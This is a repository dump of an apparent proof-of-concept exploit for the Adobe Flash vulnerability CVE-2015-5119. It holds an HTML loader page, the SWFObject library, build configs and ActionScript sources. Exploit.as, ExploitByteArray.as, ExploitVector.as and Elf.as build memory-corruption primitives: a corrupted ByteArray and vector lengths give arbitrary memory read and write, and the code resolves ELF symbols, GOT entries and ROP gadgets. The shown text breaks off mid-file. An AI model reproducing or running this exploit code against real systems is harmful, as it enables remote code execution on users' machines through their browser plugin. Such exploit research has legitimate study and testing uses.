├── CVE-2015-5119.as3proj ├── bin ├── expressInstall.swf ├── index.html └── js │ └── swfobject.js ├── obj ├── CVE-2015-5119Config.old └── CVE-2015-5119Config.xml └── src ├── Address64.as ├── Elf.as ├── Exploit.as ├── ExploitByteArray.as ├── ExploitVector.as ├── Exploiter.as ├── Exploiter64.as ├── Logger.as ├── MyClass.as ├── MyClass1.as ├── MyClass2.as ├── PE.as └── PE64.as /CVE-2015-5119.as3proj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /bin/expressInstall.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jvazquez-r7/CVE-2015-5119/4ffce5b7ae4bfa6652ba00c3e98855294ae35c16/bin/expressInstall.swf -------------------------------------------------------------------------------- /bin/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CVE-2015-5119 6 | 7 | 8 | 9 | 29 | 33 | 34 | 35 |

36 |

CVE-2015-5119

37 |

Get Adobe Flash player

38 |

39 | 40 | -------------------------------------------------------------------------------- /bin/js/swfobject.js: -------------------------------------------------------------------------------- 1 | /* SWFObject v2.2 2 | is released under the MIT License 3 | */ 4 | var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='

";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab 2 | 3 | 4 | 5 | 18.0 6 | false 7 | true 8 | 9 | 10 | CONFIG::debug 11 | true 12 | 13 | 14 | CONFIG::release 15 | false 16 | 17 | 18 | CONFIG::timeStamp 19 | '8/3/2015' 20 | 21 | 22 | CONFIG::air 23 | false 24 | 25 | 26 | CONFIG::mobile 27 | false 28 | 29 | 30 | CONFIG::desktop 31 | false 32 | 33 | true 34 | 35 | C:\Users\juan\Documents\CVE-2015-5119\src 36 | C:\Program Files (x86)\FlashDevelop\Library\AS3\classes 37 | 38 | 39 | 40 | C:\Users\juan\Documents\CVE-2015-5119\src\Exploit.as 41 | 42 | #FFFFFF 43 | 30 44 | 45 | 800 46 | 600 47 | 48 | -------------------------------------------------------------------------------- /obj/CVE-2015-5119Config.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 18.0 6 | false 7 | true 8 | 9 | 10 | CONFIG::debug 11 | true 12 | 13 | 14 | CONFIG::release 15 | false 16 | 17 | 18 | CONFIG::timeStamp 19 | '8/4/2015' 20 | 21 | 22 | CONFIG::air 23 | false 24 | 25 | 26 | CONFIG::mobile 27 | false 28 | 29 | 30 | CONFIG::desktop 31 | false 32 | 33 | true 34 | 35 | C:\Users\juan\Documents\CVE-2015-5119\src 36 | C:\Program Files (x86)\FlashDevelop\Library\AS3\classes 37 | 38 | 39 | 40 | C:\Users\juan\Documents\CVE-2015-5119\src\Exploit.as 41 | 42 | #FFFFFF 43 | 30 44 | 45 | 800 46 | 600 47 | 48 | -------------------------------------------------------------------------------- /src/Address64.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | /** 4 | * ... 5 | * @author 6 | */ 7 | public class Address64 8 | { 9 | public var hi:uint 10 | public var lo:uint 11 | 12 | public function Address64(lo_addr:uint, hi_addr:uint) 13 | { 14 | lo = lo_addr 15 | hi = hi_addr 16 | } 17 | 18 | public function toString() 19 | { 20 | return '0x' + hi.toString(16) + '`' + lo.toString(16) 21 | } 22 | 23 | public function offset(off:uint):Address64 24 | { 25 | return new Address64(lo + off, hi) 26 | } 27 | } 28 | 29 | } -------------------------------------------------------------------------------- /src/Elf.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | public class Elf 4 | { 5 | private const PT_DYNAMIC:uint = 2 6 | private const PT_LOAD:uint = 1 7 | private const PT_READ_EXEC:uint = 5 8 | private const DT_SYMTAB:uint = 6 9 | private const DT_STRTAB:uint = 5 10 | private const DT_PLTGOT:uint = 3 11 | 12 | private var e_ba:ExploitByteArray 13 | // elf base address 14 | public var base:uint = 0 15 | // program header address 16 | public var ph:uint = 0 17 | // number of program headers 18 | public var ph_size:uint = 0 19 | // program header entry size 20 | public var ph_esize:uint = 0 21 | // DYNAMIC segment address 22 | public var seg_dynamic:uint = 0 23 | // DYNAMIC segment size 24 | public var seg_dynamic_size:uint = 0 25 | // CODE segment address 26 | public var seg_exec:uint = 0 27 | // CODE segment size 28 | public var seg_exec_size:uint = 0 29 | // .dynsyn section address 30 | public var sec_dynsym:uint = 0 31 | // .synstr section address 32 | public var sec_dynstr:uint = 0 33 | // .got.plt section address 34 | public var sec_got_plt:uint = 0 35 | 36 | public function Elf(ba:ExploitByteArray, addr:uint) 37 | { 38 | e_ba = ba 39 | set_base(addr) 40 | set_program_header() 41 | set_program_header_size() 42 | set_program_header_entry_size() 43 | set_dynamic_segment() 44 | set_exec_segment() 45 | set_dynsym() 46 | set_dynstr() 47 | set_got_plt() 48 | } 49 | 50 | public function external_symbol(name:String):uint { 51 | var entry:uint = 0 52 | var st_name:uint = 0 53 | var st_value:uint = 0 54 | var st_size:uint = 0 55 | var st_info:uint = 0 56 | var st_other:uint = 0 57 | var st_shndx:uint = 0 58 | var st_string:String = "" 59 | var got_plt_index:uint = 0 60 | 61 | for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit 62 | entry = sec_dynsym + 0x10 + (i * 0x10) 63 | st_name = e_ba.read(entry) 64 | st_value = e_ba.read(entry + 4) 65 | st_info = e_ba.read(entry + 0xc, "byte") 66 | st_string = e_ba.read_string(sec_dynstr + st_name) 67 | if (st_string == name) { 68 | return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) 69 | } 70 | if (st_info != 0x11) { 71 | got_plt_index++ 72 | } 73 | } 74 | throw new Error() 75 | } 76 | 77 | public function symbol(name:String):uint { 78 | var entry:uint = 0 79 | var st_name:uint = 0 80 | var st_value:uint = 0 81 | var st_size:uint = 0 82 | var st_info:uint = 0 83 | var st_other:uint = 0 84 | var st_shndx:uint = 0 85 | var st_string:String = "" 86 | 87 | for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit 88 | entry = sec_dynsym + 0x10 + (i * 0x10) 89 | st_name = e_ba.read(entry) 90 | st_value = e_ba.read(entry + 4) 91 | st_info = e_ba.read(entry + 0xc, "byte") 92 | st_string = e_ba.read_string(sec_dynstr + st_name) 93 | if (st_string == name) { 94 | return base + st_value 95 | } 96 | } 97 | throw new Error() 98 | } 99 | 100 | 101 | public function gadget(gadget:String, hint:uint):uint 102 | { 103 | var value:uint = parseInt(gadget, 16) 104 | var contents:uint = 0 105 | for (var i:uint = 0; i < seg_exec_size - 4; i++) { 106 | contents = e_ba.read(seg_exec + i) 107 | if (hint == 0xffffffff && value == contents) { 108 | return seg_exec + i 109 | } 110 | if (hint != 0xffffffff && value == (contents & hint)) { 111 | return seg_exec + i 112 | } 113 | } 114 | throw new Error() 115 | } 116 | 117 | private function set_base(addr:uint):void 118 | { 119 | addr &= 0xffff0000 120 | while (true) { 121 | if (e_ba.read(addr) == 0x464c457f) { 122 | base = addr 123 | return 124 | } 125 | addr -= 0x1000 126 | } 127 | 128 | throw new Error() 129 | } 130 | 131 | private function set_program_header():void 132 | { 133 | ph = base + e_ba.read(base + 0x1c) 134 | } 135 | 136 | private function set_program_header_size():void 137 | { 138 | ph_size = e_ba.read(base + 0x2c, "word") 139 | } 140 | 141 | private function set_program_header_entry_size():void 142 | { 143 | ph_esize = e_ba.read(base + 0x2a, "word") 144 | } 145 | 146 | private function set_dynamic_segment():void 147 | { 148 | var entry:uint = 0 149 | var p_type:uint = 0 150 | 151 | for (var i:uint = 0; i < ph_size; i++) { 152 | entry = ph + (i * ph_esize) 153 | p_type = e_ba.read(entry) 154 | if (p_type == PT_DYNAMIC) { 155 | seg_dynamic = base + e_ba.read(entry + 8) 156 | seg_dynamic_size = e_ba.read(entry + 0x14) 157 | return 158 | } 159 | } 160 | 161 | throw new Error() 162 | } 163 | 164 | private function set_exec_segment():void 165 | { 166 | var entry:uint = 0 167 | var p_type:uint = 0 168 | var p_flags:uint = 0 169 | 170 | for (var i:uint = 0; i < ph_size; i++) { 171 | entry = ph + (i * ph_esize) 172 | p_type = e_ba.read(entry) 173 | p_flags = e_ba.read(entry + 0x18) 174 | if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { 175 | seg_exec = base + e_ba.read(entry + 8) 176 | seg_exec_size = e_ba.read(entry + 0x14) 177 | return 178 | } 179 | } 180 | 181 | throw new Error() 182 | } 183 | 184 | private function set_dynsym():void 185 | { 186 | var entry:uint = 0 187 | var s_type:uint = 0 188 | 189 | for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { 190 | entry = seg_dynamic + i 191 | s_type = e_ba.read(entry) 192 | if (s_type == DT_SYMTAB) { 193 | sec_dynsym = e_ba.read(entry + 4) 194 | return 195 | } 196 | } 197 | 198 | throw new Error() 199 | } 200 | 201 | private function set_dynstr():void 202 | { 203 | var entry:uint = 0 204 | var s_type:uint = 0 205 | 206 | for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { 207 | entry = seg_dynamic + i 208 | s_type = e_ba.read(entry) 209 | if (s_type == DT_STRTAB) { 210 | sec_dynstr = e_ba.read(entry + 4) 211 | return 212 | } 213 | } 214 | 215 | throw new Error() 216 | } 217 | 218 | private function set_got_plt():void 219 | { 220 | var entry:uint = 0 221 | var s_type:uint = 0 222 | 223 | for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { 224 | entry = seg_dynamic + i 225 | s_type = e_ba.read(entry) 226 | if (s_type == DT_PLTGOT) { 227 | sec_got_plt = e_ba.read(entry + 4) 228 | return 229 | } 230 | } 231 | 232 | throw new Error() 233 | } 234 | } 235 | } 236 | -------------------------------------------------------------------------------- /src/Exploit.as: -------------------------------------------------------------------------------- 1 | // Build with Flex SDK 4.6 + AIR 3.1 2 | package 3 | { 4 | import flash.display.Sprite 5 | import flash.events.Event 6 | import mx.utils.Base64Decoder 7 | import flash.display.LoaderInfo 8 | import flash.utils.ByteArray 9 | 10 | public class Exploit extends Sprite 11 | { 12 | private var b64:Base64Decoder = new Base64Decoder() 13 | private var payload:ByteArray 14 | private var platform:String 15 | 16 | public function Exploit():void 17 | { 18 | if (stage) init(); 19 | else addEventListener(Event.ADDED_TO_STAGE, init); 20 | } 21 | 22 | private function init(e:Event = null):void 23 | { 24 | //platform = LoaderInfo(this.root.loaderInfo).parameters.pl 25 | //var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh 26 | //var pattern:RegExp = / /g; 27 | //b64_payload = b64_payload.replace(pattern, "+") 28 | //b64.decode(b64_payload) 29 | //payload = b64.toByteArray() 30 | 31 | removeEventListener(Event.ADDED_TO_STAGE, init); 32 | Logger.log('TryExpl...') 33 | MyClass.TryExpl()//(this, platform, payload) 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /src/ExploitByteArray.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | import flash.utils.ByteArray 4 | 5 | public class ExploitByteArray 6 | { 7 | private const MAX_STRING_LENGTH:uint = 100 8 | public var ba:ByteArray 9 | public var original_length:uint 10 | private var platform:String 11 | 12 | public function ExploitByteArray(p:String, l:uint = 1024) 13 | { 14 | ba = new ByteArray() 15 | ba.length = l 16 | ba.endian = "littleEndian" 17 | ba.writeUnsignedInt(0) 18 | platform = p 19 | original_length = l 20 | } 21 | 22 | public function set_length(length:uint):void 23 | { 24 | ba.length = length 25 | } 26 | 27 | public function get_length():uint 28 | { 29 | return ba.length 30 | } 31 | 32 | public function lets_ready():void 33 | { 34 | ba.endian = "littleEndian" 35 | if (platform == "linux") { 36 | ba.length = 0xffffffff 37 | } 38 | } 39 | 40 | public function is_ready():Boolean 41 | { 42 | if (ba.length == 0xffffffff) 43 | return true 44 | 45 | return false 46 | } 47 | 48 | public function read(addr:uint, type:String = "dword"):uint 49 | { 50 | ba.position = addr 51 | switch(type) { 52 | case "dword": 53 | return ba.readUnsignedInt() 54 | case "word": 55 | return ba.readUnsignedShort() 56 | case "byte": 57 | return ba.readUnsignedByte() 58 | } 59 | return 0 60 | } 61 | 62 | public function read_string(addr:uint, length:uint = 0):String 63 | { 64 | ba.position = addr 65 | if (length == 0) 66 | return ba.readUTFBytes(MAX_STRING_LENGTH) 67 | else 68 | return ba.readUTFBytes(length) 69 | } 70 | 71 | public function write(addr:uint, value:* = 0, zero:Boolean = true):void 72 | { 73 | var i:uint 74 | 75 | if (addr) ba.position = addr 76 | if (value is String) { 77 | for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) 78 | if (zero) ba.writeByte(0) 79 | } else if (value is ByteArray) { 80 | var value_length:uint = value.length 81 | for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) 82 | } else ba.writeUnsignedInt(value) 83 | } 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /src/ExploitVector.as: -------------------------------------------------------------------------------- 1 | package 2 | { 3 | public class ExploitVector 4 | { 5 | private var uv:Vector. 6 | public var original_length:uint 7 | 8 | public function ExploitVector(v:Vector., length:uint) 9 | { 10 | uv = v 11 | original_length = length 12 | } 13 | 14 | public function restore():void 15 | { 16 | uv[0x3ffffffe] = original_length 17 | } 18 | 19 | public function is_ready():Boolean 20 | { 21 | if (uv.length > original_length) 22 | { 23 | return true 24 | } 25 | return false 26 | } 27 | 28 | public function at(pos:uint):uint 29 | { 30 | return uv[pos] 31 | } 32 | 33 | // pos: position where a Vector.